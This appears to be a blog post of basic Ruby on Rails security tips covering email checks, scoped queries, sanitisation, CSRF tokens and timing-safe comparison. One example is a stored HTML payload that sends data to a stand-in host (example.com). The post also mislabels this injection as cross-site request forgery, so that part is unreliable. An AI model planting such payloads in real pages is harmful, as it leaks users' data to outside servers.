Security tips for Ruby on Rails developers

 ruby    security    rails  

Here I will list some basic security measures from my experience which are easy to implement and you can effortlessly incorporate into your application.

Emails

Emails are something that almost every contemporary web application requires from the user when one is making a registration. Think of those scenarios when implementing a user registration feature:

Disallow disposable emails

Disposable emails are emails that live for a very short amount of time. They are usually used to create fake users. Intentions vary depending on the particular individual. Some people might use them innocently to check up the app's features (without leaving any personal data) while others might deliberately use disposable emails for spam and malicious actions.

In general, this types of registrations do not enrich your database with valuable users.

You can find a blacklist online that you could incorporate into your app's registration feature.

What your app does when the user decides to change her email address?

This one is somehow trivial but it is worth mentioning as some web apps that I've seen just do not require a password on email change. One must take into consideration the case when a user changes her email address. Always require a password on email change. This prevents from account hijacking - ensure that the change of the email is made by the actual user and not somebody else when, for example, the particular user has forgotten to log out.

Use scope loading

This is another easy to implement step:

Imagine that you have a one-to-many association for your User with Picture.

  class User < ApplicationRecord
    has_many :pictures
  end
  
  class Picture < ApplicationRecord
    belongs_to :user
  end
  

A common mistake is to query the pictures model like so:

  Picture.where(user_id: some_id)
  

This is not optimal from the perspective of security. For example, some_id might be something else and not an integer (e.g. an array of ids). Always use scope loading. In this scenario it is better to use only:

  user.pictures
  

Basic type conversions

Something which relates to the aforementioned. Always convert your values with to_s, to_h, to_i, etc. in order to avoid any unexpected input which might be used for injection. Use this especially on input params in the case when user input is passed to jobs, internal methods, views, etc.

Validate and sanitize

Always validate user input on both the client and the server side. Sanitize data before persisting it to the database and sanitize data before showing it to the user in the views. Never call html_safe on user input!

Cross-site request forgery

Imagine that your app is not sanitized and someone decides to save an HTML tag as a, let's say first_name:

  user.first_name # => "<img src='http://example.com?parameter=1234532' style='display:none;'>"
  

What happens here is that no image is going to be visualized. Instead, the malicious site http://example.com will be requested with the sensitive data inside parameter when the browser interprets this HTML tag.

This is a simple example of a Cross-site request forgery. Users might not even know that their data has been leaked. Usually such persisted tags aim to capture HTML elements from the page and send them as url parameters to a malicious server.

Protection from CRSF

First of all, never ever use HTTP GET to change or delete data on your site. Know how to properly use HTTP verbs. Diving into the HTTP protocol exceeds the scope of this blog post. Let's now look at another countermeasure against CRSF.

Rails provides a simple one-liner for a protection against forged requests. It is a default behavior for the new freshly-generated Rails apps.

  protect_from_forgery with: :exception
  

The protection boils down to a security token that our site knows but other sites are unfamiliar with. This token is included in requests and is being verified on the server. It is automatically included in all forms and AJAX requests generated by Rails. If the submitted token does not match the expected one - an exception will be raised.

A common practice for storing user information is the use of persistent cookies. In such a scenario, they will not be automatically cleared by the CSRF protection. If you are following a standard configuration of your app, this piece of code, placed inside ApplicationController would be enough:

  rescue_from ActionController::InvalidAuthenticityToken do |exception|
    sign_out(current_user) # An example for destroying the user cookies.
  end
  

Now, when a CSRF token is not present or is incorrect on a non-GET request, this method will be called.

Timing Attacks

Here is a simple explanation: Timing attack is an attack that is related to the measuring of the time between the request and the response for distinct inputs. The attacker receives hints from the non-constant elapsed time and he can receive hint how close or how far is he to compromising the system.

Protection from Timing Attacks

We can compare two strings by the usage of secure_compare from ActiveSupport::SecurityUtils. The values are first processed by SHA256 so there is no leakage of information regarding timing attacks. This is essential when it comes to token-comparison.

Wrap up